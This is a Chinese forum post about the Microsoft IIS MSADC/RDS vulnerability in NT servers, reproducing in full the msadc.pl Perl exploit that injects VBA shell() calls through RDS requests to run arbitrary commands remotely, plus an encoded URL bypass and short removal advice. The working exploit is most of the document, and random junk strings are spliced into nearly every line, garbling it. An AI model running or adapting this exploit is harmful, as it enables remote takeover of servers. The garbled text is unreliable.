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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |`o|;A]  
=Ydrct  
涉及程序:  JQQ[jl;  
Microsoft NT server k ;^$Pd?t  
#NFB=o JI  
描述: ;}E}N:A  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !Vyf2xS"  
C][$0  
详细: UfX~GC;B  
如果你没有时间读详细内容的话,就删除: G?}?>O  
c:\Program Files\Common Files\System\Msadc\msadcs.dll vW &G\L  
有关的安全问题就没有了。 oks;G([  
e6taQz@}  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 q TJ0}F  
1%v6d !  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~3.*b% ,  
关于利用ODBC远程漏洞的描述,请参看: KM;H '~PZi  
 2 q4p-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s6~;)(r  
uP* kvi:e  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 vqN/crJ@  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 56)!&MF  
qHub+"2  
这里不再论述。 Ye3o}G9z  
%4nf(|8n  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ,,u hEoH  
+bE{g@%@ +  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset X\m\yv}}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! _-C/s p^   
lMFo)4&P  
Q2 !GWz$  
#将下面这段保存为txt文件,然后: "perl -x 文件名" sMMOZ'bT  
D\_nqx9O  
#!perl R0qZxoo  
# b#?sx"z  
# MSADC/RDS 'usage' (aka exploit) script /ugWl99.W  
# h,$CJdDY]  
# by rain.forest.puppy &9flNoNR9  
# nms[No?  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me z0rYzn?MR  
# beta test and find errors! |~5cN m  
71@ eJQ  
use Socket; use Getopt::Std; \OVFZ D  
getopts("e:vd:h:XR", \%args); DujVV(+I  
O8 .iP+  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";  ijOp{  
#HgN wM  
if (!defined $args{h} && !defined $args{R}) { '! ^7 *@z  
print qq~ OM1Z}%J  
Usage: msadc.pl -h <host> { -d <delay> -X -v } )>1}I_1j)  
-h <host> = host you want to scan (ip or domain) ]B )nN':  
-d <seconds> = delay between calls, default 1 second D=^&?@k<  
-X = dump Index Server path table, if available yo[Sh6r/9b  
-v = verbose B6dU6"  
-e = external dictionary file for step 5 rhkKK_  
Bg),Q8\I  
Or a -R will resume a command session j;.P  
gfK_g)'2U  
~; exit;} CaZc{  
bRu 9*4t  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ;J|t-$Z  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} FXo.f<U  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} KNmU2-%l  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); fJ8>nOh  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Q &W>h/  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ; +\h$  
E "=4(   
if (!defined $args{R}){ $ret = &has_msadc; kKlNhP(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} _p8u &TZ  
]AA|BeL?|  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" MxpAh<u!vF  
. "cmd /c "; _OG9wi(Fpx  
$in=<STDIN>; chomp $in; %!t9)pNc  
$command="cmd /c " . $in ; We$ n  
zI[<uvxzW`  
if (defined $args{R}) {&load; exit;} 6MM\nIU)/  
2n3&uvf'TL  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 'nPI zK<v  
&try_btcustmr; C')KZ|JIC  
L|WrdT D;  
print "\nStep 2: Trying to make our own DSN..."; Y\WQ0'y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; *0" ojfVn  
,oH\rrglf  
print "\nStep 3: Trying known DSNs..."; _yAY5TIv  
&known_dsn; =iB[sLEJ  
0p.MH~mx  
print "\nStep 4: Trying known .mdbs..."; :=*G7ZyW$  
&known_mdb; Njg87tKB  
d8;kM`U  
if (defined $args{e}){ DX!dU'tj  
print "\nStep 5: Trying dictionary of DSN names..."; G0!6rDu2,  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } n@tt.n!{l  
- c>Vw&1  
print "Sorry Charley...maybe next time?\n"; m19\H  
exit; B`)sc ~u  
)U|V|yem'  
############################################################################## \dU.#^ryp  
MJX4;nbl  
sub sendraw { # ripped and modded from whisker %J-:%i  
sleep($delay); # it's a DoS on the server! At least on mine... &Ih }"  
my ($pstr)=@_; @+t|Aa^g  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :%9R&p:'ar  
die("Socket problems\n"); 6p }a!  
if(connect(S,pack "SnA4x8",2,80,$target)){ 'qEw]l  
select(S); $|=1;  Ps.xY;Y  
print $pstr; my @in=<S>; vTFG*\Cq  
select(STDOUT); close(S); HqsqUS3[  
return @in; ]#4kqj}  
} else { die("Can't connect...\n"); }} v/xlb&Xx  
Q?T+^J   
############################################################################## h-"q <eY"  
@ NDcO,]  
sub make_header { # make the HTTP request 5Q%)|(U'  
my $msadc=<<EOT +d LUq2  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %S"z9@  
User-Agent: ACTIVEDATA ZzBaYoNy[0  
Host: $ip E> pr})^w  
Content-Length: $clen l'[;q '  
Connection: Keep-Alive g&$5!ifgi  
[4C_iaE  
ADCClientVersion:01.06 ~M* UMF^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~]no7O4  
y`$qcEw  
--!ADM!ROX!YOUR!WORLD! z-K};l9y  
Content-Type: application/x-varg GIYdI#0RC  
Content-Length: $reqlen y|B HSc3  
QqF*SaO>  
EOT yj'lHC  
; $msadc=~s/\n/\r\n/g; EP;ts  
return $msadc;} 82r{V:NCK)  
$ #/8l58  
############################################################################## [E<A/_z  
^y ', l  
sub make_req { # make the RDS request (&)uWjq `  
my ($switch, $p1, $p2)=@_; RB*z."  
my $req=""; my $t1, $t2, $query, $dsn; #p;<X|Hc}8  
n::i$ZUdK  
if ($switch==1){ # this is the btcustmr.mdb query &<#1G u_  
$query="Select * from Customers where City=" . make_shell(); )40YA\V  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . SZ4y\I  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} wp8-(E^  
Z>w@3$\z  
elsif ($switch==2){ # this is general make table query @o@SU"[?_  
$query="create table AZZ (B int, C varchar(10))"; GM;uwL#  
$dsn="$p1";} uCW}q.@4  
&{WEtaXaa  
elsif ($switch==3){ # this is general exploit table query bZK`]L[   
$query="select * from AZZ where C=" . make_shell(); j&.JAQ*2;  
$dsn="$p1";} 6,CK1j+tZ  
|1!|SarM{B  
elsif ($switch==4){ # attempt to hork file info from index server nx`W!|g$`  
$query="select path from scope()"; "/^kFsvp  
$dsn="Provider=MSIDXS;";} 4K;0.W;~|  
gQ '=mU  
elsif ($switch==5){ # bad query |%X_<Cpk  
$query="select"; b0%#=KMi  
$dsn="$p1";} h9c7P@29  
c&RiUU7  
$t1= make_unicode($query); 3\<(!yY8  
$t2= make_unicode($dsn); Um/ g&k  
$req = "\x02\x00\x03\x00"; b1e)w?n  
$req.= "\x08\x00" . pack ("S1", length($t1)); S +73 /Vs  
$req.= "\x00\x00" . $t1 ; z;YX 2G/{  
$req.= "\x08\x00" . pack ("S1", length($t2)); I[ZWOi\- ;  
$req.= "\x00\x00" . $t2 ; jP3~O  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; VJgf, 5 (N  
return $req;} aC'#H8e|j  
|])Ko08*tE  
############################################################################## y(K:,CI  
;P|v'NNI  
sub make_shell { # this makes the shell() statement H:1F=$0I9  
return "'|shell(\"$command\")|'";} [z} $G:s  
*i7-_pT  
############################################################################## cz>`$Zz  
79lG~BGE  
sub make_unicode { # quick little function to convert to unicode EX3;|z@5;  
my ($in)=@_; my $out; BxxqzN+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } LrV4^{9(  
return $out;} 6ozBU^n  
{-5 b[m(  
############################################################################## A56aOI=  
3o__tU)B  
sub rdo_success { # checks for RDO return success (this is kludge) v[ y|E;B  
my (@in) = @_; my $base=content_start(@in); <_Po/a!c3  
if($in[$base]=~/multipart\/mixed/){ vr>Rd{dm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} e-{4qt  
return 0;} 2ld0w=?+eu  
hRN>]e,!  
############################################################################## {[B`q  
[SLBA_d  
sub make_dsn { # this makes a DSN for us fm%-wUgj  
my @drives=("c","d","e","f"); h|=&a0  
print "\nMaking DSN: "; Uw_z9ZL  
foreach $drive (@drives) { _RzcMX  
print "$drive: "; .We"j_ }  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p>]2o\["  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }NJ? .Y  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Os7 3u#!'  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; b<rJ@1qtJ  
return 0 if $2 eq "404"; # not found/doesn't exist 3UX})mW  
if($2 eq "200") { '| |),>~  
foreach $line (@results) { IC7S +v  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} vo DTU]pf  
} return 0;} q^w3n2  
>;@hA*<  
############################################################################## s8N\cOd#i  
s*j0uAq)up  
sub verify_exists { S}*%l)vfR  
my ($page)=@_; "&/&v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); G(~"Zt}?  
return $results[0];} OW<5,h  
6,|)%~VUm  
############################################################################## 3l@={Ts  
VXAgp6  
sub try_btcustmr { f&ym'S  
my @drives=("c","d","e","f");  HRKe 7#e  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `cr.C|RT:  
NN W*  
foreach $dir (@dirs) { k iCg+@nT  
print "$dir -> "; # fun status so you can see progress yVM 1W"Q  
foreach $drive (@drives) { xe6 2gaT  
print "$drive: "; # ditto 0:(@Y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; $u9y H Z  
$reqlenlen=length( "$reqlen" ); ~l@SGHx  
$clen= 206 + $reqlenlen + $reqlen; f13%[RA9N  
,9f$a n  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); i-E~ZfJ  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 89'XOXl&1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} h^5'i} @u  
%o +VZEH3  
############################################################################## 0Kjm:x9T  
}_L@CpG  
sub odbc_error { Ee##:I[z  
my (@in)=@_; my $base; :R<n{%~  
my $base = content_start(@in); -_ [Z5%B  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 7b,u|F  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; fmvv q1G&  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; -<i&`*zG  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @W^A%6"j  
return $in[$base+4].$in[$base+5].$in[$base+6];} c]W]m`:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ge[+/$(1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . swnov[0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Tc`LY/%Od  
8_ns^6XK5p  
############################################################################## cv0}_<Tyx  
n5%rsNxg  
sub verbose { =1%3". "n@  
my ($in)=@_; 0bpl3Fh.v  
return if !$verbose; 8lt P)K4  
print STDOUT "\n$in\n";} UtiS?w6  
Mx-,:a9}  
############################################################################## H.Z:at5n  
PZR pH  
sub save { lBL;aTzo  
my ($p1, $p2, $p3, $p4)=@_; ^c^9kK'  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; {JzX`Z30l  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; >ea<6&!Ee  
close OUT;} Q/=L(_1l  
V D.p"F(]  
############################################################################## #Qy*zU#9  
N Q{ X IN~  
sub load { kkFE9:[-c&  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {`~{%2ayq7  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); * KFsO1j  
@p=<IN>; close(IN); Lqbu]  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); >u~ [{(d ,  
$target= inet_aton($ip) || die("inet_aton problems"); ALwkX"AN  
print "Resuming to $ip ..."; vBQ5-00YY=  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; yGH'|`  
if($p[1]==1) { sN 7I~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; gV!Eotq  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; As1Er[>  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); JHc|.2Oe  
if (rdo_success(@results)){print "Success!\n";} /%rbXrR4w  
else { print "failed\n"; verbose(odbc_error(@results));}} czb(&><  
elsif ($p[1]==3){ {`KgyC W:  
if(run_query("$p[3]")){ }vxb, [#  
print "Success!\n";} else { print "failed\n"; }} <h U ZD;  
elsif ($p[1]==4){ -Z<e`iFQS  
if(run_query($drvst . "$p[3]")){ McxJ C<  
print "Success!\n"; } else { print "failed\n"; }} E[t\LTt*n  
exit;} z>&Py(  
Fkz+Qz  
############################################################################## ()(@Qcc  
%7O`]ik:  
sub create_table { xp1 +C{  
my ($in)=@_; A`=ESz  
$reqlen=length( make_req(2,$in,"") ) - 28; nPfVZGt  
$reqlenlen=length( "$reqlen" ); W]_+3qvZ  
$clen= 206 + $reqlenlen + $reqlen; H<%7aOwO2  
my @results=sendraw(make_header() . make_req(2,$in,"")); ?;|$R   
return 1 if rdo_success(@results); ]BP/KCjAI<  
my $temp= odbc_error(@results); verbose($temp); 8S@ ~^D  
return 1 if $temp=~/Table 'AZZ' already exists/; sG0cN;I]t  
return 0;} ZGzrh`j{-  
\@['V   
############################################################################## =a?l@dI]  
1b;Aru~l  
sub known_dsn { [ G[HQ)A  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go vV#Jl) A  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 8 8pz<$  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", o&;+!Si@T  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); #TZYe4#f  
/%Rz`}  
foreach $dSn (@dsns) { }N2T/U  
print "."; @a>+r1  
next if (!is_access("DSN=$dSn")); tV*g1)'zX  
if(create_table("DSN=$dSn")){ #rzxFMA"  
print "$dSn successful\n"; x nWapG  
if(run_query("DSN=$dSn")){ %=S^{A  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { isDBNXV:  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ;'}1   
3UD_2[aqN(  
############################################################################## 'e7<&wm ia  
uzho>p[ae  
sub is_access { _ 97F  
my ($in)=@_; #2_phm'  
$reqlen=length( make_req(5,$in,"") ) - 28; m,Q<4'  
$reqlenlen=length( "$reqlen" ); a`q">T%q  
$clen= 206 + $reqlenlen + $reqlen; )3'/g`c  
my @results=sendraw(make_header() . make_req(5,$in,"")); JT[|l-\zo  
my $temp= odbc_error(@results); 9i yNR!  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); , YTuZS  
return 0;} -AD3Pd|Y[  
f/*Xw{s#  
############################################################################## vs7Hg )F  
Ls5|4%+&  
sub run_query { 8!b#ez   
my ($in)=@_; a&.8*|w3  
$reqlen=length( make_req(3,$in,"") ) - 28; V. =!^0'A  
$reqlenlen=length( "$reqlen" ); z1T.\mzfX  
$clen= 206 + $reqlenlen + $reqlen; (t>BO`,  
my @results=sendraw(make_header() . make_req(3,$in,"")); xo6-Y=c8  
return 1 if rdo_success(@results); ,K+K`"Oy  
my $temp= odbc_error(@results); verbose($temp); Pqo"~&Y|~  
return 0;} *]W{83rXQ  
J6n@|L!yO  
############################################################################## flR6^6E  
BV9B}IV  
sub known_mdb { < :<E~anH  
my @drives=("c","d","e","f","g"); @4sv(HyDY  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b5No>U) /  
my $dir, $drive, $mdb; CS:j->  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; S'9T>&<Kn  
+Z/ *=;  
# this is sparse, because I don't know of many g.SFl  
my @sysmdbs=( "\\catroot\\icatalog.mdb", % E3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", rs]%`"&=  
"\\system32\\certmdb.mdb", |XtN\9V.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% g"`BNI]Qp  
[_G_Wl'#8  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", d2Z5HFtY  
"\\cfusion\\cfapps\\forums\\forums_.mdb", q}*(rR9/Br  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", <wW#Wnc]  
"\\cfusion\\cfapps\\security\\realm_.mdb", A Ns.`S  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", K#%L6=t$<  
"\\cfusion\\database\\cfexamples.mdb", r.lH@}i%n  
"\\cfusion\\database\\cfsnippets.mdb", iyB02\d  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", (Dlh;Ic r9  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", SGXXv  
"\\cfusion\\brighttiger\\database\\cleam.mdb", g"EvMv&  
"\\cfusion\\database\\smpolicy.mdb", IX$dDwY|O>  
"\\cfusion\\database\cypress.mdb", Y}&//S A  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", )^qM%k8  
"\\website\\cgi-win\\dbsample.mdb", V: fz  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Q })x4  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 6NPCp/  
); #these are just TD'RvTpl  
foreach $drive (@drives) { (0/,R  
foreach $dir (@dirs){ v*Ds:1"H-I  
foreach $mdb (@sysmdbs) { (dd+wx't  
print "."; ;PCnEs  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ !8lG"l|,l  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .vE=527g)  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ wzVx16Rvc  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; :hJHjh  
} else { print "Something's borked. Use verbose next time\n"; }}}}} x$Y44v'>  
ELfcZfJ  
foreach $drive (@drives) { QkS~~|0EI>  
foreach $mdb (@mdbs) { HY0q!.qog  
print "."; |5oK04<  
if(create_table($drv . $drive . $dir . $mdb)){ }Qyuy~-&^  
print "\n" . $drive . $dir . $mdb . " successful\n"; BgRfy2:  
if(run_query($drv . $drive . $dir . $mdb)){ AFE6@/'  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ZUePHI-dP  
} else { print "Something's borked. Use verbose next time\n"; }}}} -sO[,  
} Jmrs@  
FJ XYKpY[r  
############################################################################## ]L+YnZ?6  
Oxo?\ :T  
sub hork_idx { 3 <}\{jT  
print "\nAttempting to dump Index Server tables...\n";  ?QxI2J  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; i[_ (0P+Da  
$reqlen=length( make_req(4,"","") ) - 28; <Hd8Jd4f  
$reqlenlen=length( "$reqlen" ); Ne<={u%  
$clen= 206 + $reqlenlen + $reqlen; )3K#${p  
my @results=sendraw2(make_header() . make_req(4,"","")); Y-!~x0-H  
if (rdo_success(@results)){ `_%U K=m  
my $max=@results; my $c; my %d; PD #9Z=Hj  
for($c=19; $c<$max; $c++){ ;iT@41)7  
$results[$c]=~s/\x00//g; nhV\<  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; er@"4R0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; F.{{gpI  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dbn9t7'{  
$d{"$1$2"}="";} 0lpkG ="&r  
foreach $c (keys %d){ print "$c\n"; } kN7 J Z12  
} else {print "Index server doesn't seem to be installed.\n"; }} Kny0 (  
m=Mb'<  
############################################################################## <PLQY  
=MR.*m{  
sub dsn_dict { k;5$]^x  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); LR:PSgy  
while(<IN>){ &10l80vj  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Xir ERc.e  
next if (!is_access("DSN=$dSn")); #jrtsv]  
if(create_table("DSN=$dSn")){ s!k7Wwj  
print "$dSn successful\n"; /80H.|8O  
if(run_query("DSN=$dSn")){ F}1h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &f=O`*I'+!  
print "Something's borked. Use verbose next time\n";}}} rX7GVg@H  
print "\n"; close(IN);} Zv]'9,cbk  
m^k$Z0  
############################################################################## FOPfo b[  
[^Z)f<l  
sub sendraw2 { # ripped and modded from whisker .7 K)'  
sleep($delay); # it's a DoS on the server! At least on mine... [T |P|\M  
my ($pstr)=@_; J.E Bt3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $-D}y:  
die("Socket problems\n"); jz,K>   
if(connect(S,pack "SnA4x8",2,80,$target)){ =Bg $OX  
print "Connected. Getting data"; ]?< wUd  
open(OUT,">raw.out"); my @in; O]4v\~@-j  
select(S); $|=1; print $pstr; !hs33@*u~  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} nxWm  
close(OUT); select(STDOUT); close(S); return @in; 4,,DA2^!  
} else { die("Can't connect...\n"); }} i)iK0g"2  
bO i-QD  
############################################################################## ZUyS+60  
s.X .SJ  
sub content_start { # this will take in the server headers [vGkr" =  
my (@in)=@_; my $c; $u~*V  
for ($c=1;$c<500;$c++) { A"e4w?  
if($in[$c] =~/^\x0d\x0a/){ 0BwxPD#6bv  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } #a`D6;  
else { return $c+1; }}} vfd<qdi3p(  
return -1;} # it should never get here actually bm*.*A]  
k vpkWD;  
############################################################################## $@D*/@  
J$W4AT  
sub funky { 7lx" X0w*m  
my (@in)=@_; my $error=odbc_error(@in); 9u6VN]divB  
if($error=~/ADO could not find the specified provider/){ cP",szcY  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; V3% >TNp  
exit;} \0W0o5c$  
if($error=~/A Handler is required/){ PNz]L  
print "\nServer has custom handler filters (they most likely are patched)\n"; qeW.~B!B  
exit;} P BVF'~f@j  
if($error=~/specified Handler has denied Access/){ 86pA+c+U  
print "\nServer has custom handler filters (they most likely are patched)\n"; v8YF+N  
exit;}} naro  
}[{9u#@#  
############################################################################## QuP)j1"X  
X }`o9]y  
sub has_msadc { eslvg#Q  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); hx*4xF  
my $base=content_start(@results); U(PW$\l  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ? 'qyI^m@  
return 0;} dVPY07P  
[8<0Q_?,  
######################## B^!-%_q  
Z l;TS%$  
[dR#!"6t  
解决方案: |ZM>UJ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll F [Lg,}  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F\hVunPVx  
c3Gy1#f:#2  
拿出来充数 哈哈
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